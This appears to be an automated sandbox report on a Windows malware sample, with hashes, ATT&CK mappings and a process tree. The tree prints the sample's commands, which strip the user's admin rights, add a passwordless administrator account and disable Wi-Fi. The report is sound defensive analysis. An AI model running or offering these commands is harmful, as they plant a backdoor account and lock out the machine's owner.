6fbbddfc38f261605d74d9b679b0e97e0511530bf0f251815537896ba3f914dc

General

Target
sillyslut.exe
Size 96KB
Sample261002-rabxjs11at
SHA256 6fbbddfc38f261605d74d9b679b0e97e0511530bf0f251815537896ba3f914dc
MD5 993bd6a56fe3e83b5fb40550ed64a23b
SHA1 43a831340a79d7a45863f36e2e6f9aca658aa120
SHA512 23e6fc4ffc815dd44ed5ffdb1e53b105ecd6a496d06f21add8b33b8d32585708c284330bf9ffe0fc2372c3804995ce5ab77e10c7a08e0de2cdaae728a12fcb41
SSDEEP 1536:/7fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfawSeWFJ8DFs4VHT:z7DhdC6kzWypvaQ0FxyNTBfaBe/F
TLSH
T182A37E41F2E102F7E6F2053100A6726FDB3663389764ADDBC74C2D529913AD1A63D3E9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
4196	net.exe
4376	net1.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2116	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sillyslut.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
5784	timeout.exe
2724	timeout.exe

Runs net.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3424 wrote to memory of 2116	3424	sillyslut.exe	91
PID 2116 wrote to memory of 5784	2116	cmd.exe	92
PID 2116 wrote to memory of 1480	2116	cmd.exe	93
PID 1480 wrote to memory of 1712	1480	net.exe	94
PID 2116 wrote to memory of 4196	2116	cmd.exe	95
PID 4196 wrote to memory of 4376	4196	net.exe	96
PID 2116 wrote to memory of 4708	2116	cmd.exe	97
PID 4708 wrote to memory of 5992	4708	net.exe	98
PID 2116 wrote to memory of 568	2116	cmd.exe	99
PID 2116 wrote to memory of 2724	2116	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\sillyslut.exe
"C:\Users\Admin\AppData\Local\Temp\sillyslut.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3424
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\C6F5.tmp\C6F6.tmp\C6F7.bat C:\Users\Admin\AppData\Local\Temp\sillyslut.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\system32\timeout.exe
    timeout /t 3 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5784
- - C:\Windows\system32\net.exe
    net localgroup administrators "Admin" /delete
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1480
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators "Admin" /delete
      4⤵
      PID:1712
- - C:\Windows\system32\net.exe
    net user "Cloud2DFD" "" /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:4196
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "Cloud2DFD" "" /add
      4⤵
      Creates a new local user account
      PID:4376
- - C:\Windows\system32\net.exe
    net localgroup administrators "Cloud2DFD" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4708
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators "Cloud2DFD" /add
      4⤵
      PID:5992
- - C:\Windows\system32\netsh.exe
    netsh interface set interface "Wi-Fi" disable
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:568
- - C:\Windows\system32\timeout.exe
    timeout /t 600 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2724

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Account Manipulation

1

T1098

Create Account

1

T1136

Local Account

1

T1136.001

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Privilege Escalation

Account Manipulation

1

T1098

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Defense Evasion

Credential Access

Discovery

Permission Groups Discovery

1

T1069

Local Groups

1

T1069.001

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C6F7.bat

Path C:\Users\Admin\AppData\Local\Temp\C6F5.tmp\C6F6.tmp\C6F7.bat
Size 6KB
SHA256 295fac7d16ec843e8cac1f95c3ff9d9f7f6b82f681b2028c676b630129bcdcc9
MD5 3dcb5c33a347ead6f4e80b81f064d63d
SHA1 1f8896f687c34a1f584cea6f63632b39b74f7d40
SHA512 4eb22317d1ae2725f9027bcc988bff71e328106e71abbf1f9108c436398068d80fac18e704bbf8c9ce78551492f20a1f189d55e2aab408d0a1d7ef30661893e2
SSDEEP 96:v/pwvnGPWBoza060jp1UOKaaXvHu9h4hmRcLtbMha3+rkVXIpg2sqamXAoK0crfP:32PeOXIhdcLtwQ4kzfP
TLSH
T1B9D1F239B5F399923951D69D2B0404039613756B7A04A66B338EF25D53CEB8C23FE8F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3424-0-0x0000000000417000-0x0000000000418000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads